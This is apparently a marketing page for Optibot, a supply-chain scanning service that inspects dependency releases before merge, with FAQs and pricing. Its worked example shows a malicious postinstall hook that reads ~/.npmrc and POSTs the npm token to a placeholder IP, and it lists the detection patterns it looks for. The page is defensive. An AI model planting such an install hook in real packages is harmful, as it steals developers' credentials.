Review Stats now counts every review: PRs, CLI, IDE and MCP, by source.

Supply chain scanning

Your dependencies are code. Verify them.

When a package you trust is hijacked, its next update can steal your passwords and keys. Optibot reads every update before you merge.

pull/318 · Optibot commented Example

Supply chain analysis

acme-date-fmt malicious
acme-http-retry safe
acme-config safe

Critical · acme-date-fmt

New install script sends your npm token to a raw IP

  • postinstall added: node lib/setup.js
  • lib/setup.js reads ~/.npmrc
  • base64-encodes it and POSTs to 45.x.x.x

Fix: pin 3.1.4 and rotate npm tokens on every machine that installed 3.1.5.

01How it happens

The diff you review is one line.

  1. A maintainer's account is phished.

  2. Their next patch adds one install script. It sends your npm token to a stranger.

  3. Your pull request shows a one-line version bump. CI passes. Someone approves.

  4. Every laptop and CI runner that installs it hands over its keys.

  5. Unless something reads the release first. Optibot does, and flags it before merge.

What you review · package-lock.json +1 −1

−"version": "3.1.4",

+"version": "3.1.5",

What Optibot reads · acme-date-fmt 3.1.5 malicious
package.json
+ "postinstall": "node lib/setup.js",

lib/setup.js
+ const rc = fs.readFileSync(home + '/.npmrc')
+ https.request({ host: '45.x.x.x', method: 'POST' })
+   .end(rc.toString('base64'))

Merge a version bump knowing what it runs.

02How it works

Read the release before it runs.

  1. 01

    A dependency changes

    Any manifest or lockfile, on any pull request.

  2. 02

    Optibot downloads it

    The exact new version, from the registry.

  3. 03

    It reads what the code does

    Install scripts first, then what they touch.

  4. 04

    You get a verdict

    Safe, suspicious, or malicious. Quiet when clean.

03What it catches

Flagged for what the code does.

Runs on install

  • Install scripts postinstall
  • Shells and droppers child_process
  • Native binaries .so .dll

Takes what it finds

  • Credential theft ~/.npmrc
  • Data exfiltration POST
  • Unknown hosts 45.x.x.x

Hides what it is

  • Obfuscated code atob()
  • Typosquats reqeusts

Every finding shows the file and the code.

04Where it runs

Every pull request. Or the whole repo.

Every pull request

Catch it before merge.

On by default on GitHub and GitLab. Silent when clean.

Your main branch

Audit what already shipped.

Run it from the dashboard. File the report as an issue.

10 ecosystems

Lockfile read: indirect packages covered

npm PyPI Go RubyGems Maven Cargo Composer NuGet Hex pub

05Pricing

You set the budget.

Pay per scan from prepaid credits. No per-seat fee.

See the estimated cost before a scan starts. When it reaches your max budget, it stops.

Repository scan · main Example

Estimated cost

$1.40

Max budget

$2.00

$0 scan stops

Set the budget once. Scans stop when they reach it.

Frequently Asked Questions

What is a software supply chain attack?

An attacker ships malicious code inside a package you depend on, usually by compromising a maintainer account or publishing a look-alike package. The code arrives through a routine version bump and runs on install or at import, on developer machines, CI runners, and in production.

How does Optibot detect a malicious postinstall script?

It downloads the new package version, reads its manifest, and reads the files its install hooks call before anything else. New or changed preinstall, postinstall, and install scripts, and setup.py code that runs at install time, are checked for downloading payloads, spawning shells, reading credentials, or sending data out.

Does it scan transitive dependencies?

Yes, through your lockfile. When a pull request changes package-lock.json, yarn.lock, pnpm-lock.yaml, poetry.lock, Cargo.lock, composer.lock, or Gemfile.lock, packages whose resolved version moved are picked up, including ones you never named in your manifest.

Is this the same as a vulnerability scanner?

They answer different questions. A vulnerability scanner matches package versions against advisories for known flaws. Supply chain scanning reads the code inside the release itself, so it does not need an advisory to exist before it can flag a malicious version. For flaws in the code your team writes, see the AppSec Agent.

Which ecosystems are supported?

npm, PyPI, Go, RubyGems, Maven, Cargo, Composer, NuGet, Hex, and pub. Lockfiles are read for npm, PyPI (Poetry), Go, Cargo, Composer, and RubyGems.

What happens when a scan reaches my budget?

It stops and tells you. A Shallow scan keeps the findings from the packages it finished and reports how many it skipped. A Deep scan stops without results and asks you to raise the max budget or re-run in Shallow mode.

Does it work on GitLab?

Yes. Pull request scanning works on GitHub pull requests and GitLab merge requests, and repository scans can file their report as an issue on either.

Does Optibot keep the packages it downloads?

No. Each package is downloaded to a temporary directory for the scan and deleted when the scan finishes. Your own source code is handled under Optibot's zero code retention model.

Scan the dependencies you already ship.

Connect a repo. See the estimated cost first, then a verdict on each package scanned.